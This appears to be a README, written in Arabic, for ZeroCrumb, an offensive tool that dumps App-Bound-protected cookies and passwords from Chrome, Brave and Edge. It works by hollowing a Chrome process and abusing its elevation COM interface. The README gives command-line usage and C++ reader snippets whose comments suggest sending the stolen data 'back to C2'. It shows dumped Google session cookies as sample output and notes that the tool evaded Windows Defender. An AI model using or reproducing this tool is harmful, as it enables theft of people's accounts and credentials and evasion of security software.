
تفريغ بيانات الاعتماد وملفات تعريف الارتباط المحمية بـ App-Bound بدون صلاحيات.
تفريغ بيانات الاعتماد وملفات تعريف الارتباط المحمية بـ App Bound دون صلاحيات.
يتجاوز ZeroCrumb خدمة رفع الصلاحيات في Chrome عن طريق انتحال شخصية مثيل Chrome باستخدام Transacted Hollowing، مما يتيح لنا فعلياً استخدام واجهة COM الخاصة بـ IElevator لفك تشفير مفتاح App Bound Key.
بعد ذلك، يرسل أداة تفريغ المفاتيح التي تعمل داخل مثيل Chrome المجوّف المفتاحَ المفكوك تشفيره إلى ZeroCrumb عبر Named Pipe.
بعد هذا، يقوم ZeroCrumb بفك تشفير ملفات تعريف الارتباط/كلمات المرور للمتصفح المحدد باستخدام المفتاح الذي تم جلبه سابقاً.
استخدام الـ named pipes في ZeroCrumb يتيح لأي برنامج، طالما يمكنه استخدام Windows API، الاتصال بـ named pipe الخاص بـ ZeroCrumb وقراءة مفتاح App Bound Key منه.
إذا كنت تريد استخدام ZeroCrumb كمكتبة، ستحتاج إلى ترجمة DLL تصدّر دالة تقوم بعملية hollowing الخاصة بـ Chrome مع أداة تفريغ المفاتيح. قد تحتاج أيضاً إلى تضمين PE الخاص بأداة تفريغ المفاتيح في قسم .rsrc من الـ DLL المُترجم وجلبه لاحقاً باستخدام واجهات برمجة تطبيقات موارد التطبيقات في Windows.
يمكنك تشغيل هذا في أي دليل تختاره طالما كانت أداة تفريغ المفاتيح في نفس الدليل.
ZeroCrumb.exe <BROWSER_TYPE> <DUMP_TYPE>
Browser Types:
Chrome -> 0
Brave -> 1
Edge -> 2
Dump Types:
Cookies
Passwords
يوفر ZeroCrumb فئتين سهلتي الاستخدام: CookieReader و PasswordReader:
auto reader = new CookieReader(cookiesPath.c_str(), key);
reader->initSqliteDb();
reader->prepare(queries::cookies);
reader->populateCookies();
for (auto& cookie : reader->cookies) {
string name = cookie->name;
string site = cookie->site;
string path = cookie->path;
string cookieValue = cookie->cookie;
// dump to file, send back to C2, etc...
}
// keep in mind passwords aren't encrypted using the app bound key (yet)
auto reader = new PasswordReader(passwordsPath.c_str(), key);
reader->initSqliteDb();
reader->prepare(queries::passwords);
reader->populatePasswords();
for (auto& password : reader->passwords) {
auto name = password->name;
auto site = password->site;
auto passwordValue = password->password;
// dump to file, send back to C2, etc...
}
يتطلب ZeroCrumb تبعيتين من Vcpkg:
sqlite3
libsodium
$ ZeroCrumb.exe 0 Cookies
[*] Reading From Pipe...
App Bound Key: 980f8ea8af3299d966a26242.....
============
Name: SIDCC
Site: .google.com
Path: /
Cookie: AKEyXzXxD19T0KLMkrMC-eUXkrnEFi92OXq6rj1vydvmdL73olBVQGRQ4cG_hK5sqPhO1rLd1CM
============
Name: __Secure-1PSIDCC
Site: .google.com
Path: /
Cookie: AKEyXzXXC8_MNDlVbAaw512aXu-QJkl0uKNW66rhjeufotzoJhT3OPN5TuCQnfKS8l57_WGfDw
============
Name: __Secure-3PSIDCC
Site: .google.com
Path: /
Cookie: AKEyXzVVySM4FWl9itegCN2evcSmBvGc7_iXHqkKZ6VYPKmR--_LsHx1Aflar6SU4nyJiDaFq028
============
Name: udid
Site: .veepn.com
Path: /
Cookie: 0dd5b8bb-8c5b-47f3-87f9-1db8fa7d885f
============
يمكنك تعديل ZeroCrumb ليعمل مع أي نوع من بيانات الاعتماد بخلاف ملفات تعريف الارتباط وكلمات المرور.
هذا ليس بأي حال من الأحوال التنفيذ الأكثر تخلصاً من الكشف لهذا الالتفاف، حيث يمكن اكتشافه عن طريق فحص سلاسل نصية محددة، أو ربط APIs، إلخ.
بحلول الوقت الذي أختبر فيه هذا، نجح في تجاوز Windows Defender لكنني لم أفحص برامج مكافحة فيروسات أخرى.
سأترك جعل تنفيذ الالتفاف أكثر تخلصاً من الكشف كتمرين للمستخدم إذا ما تم رصد هذا التنفيذ عبر التوقيعات في المستقبل.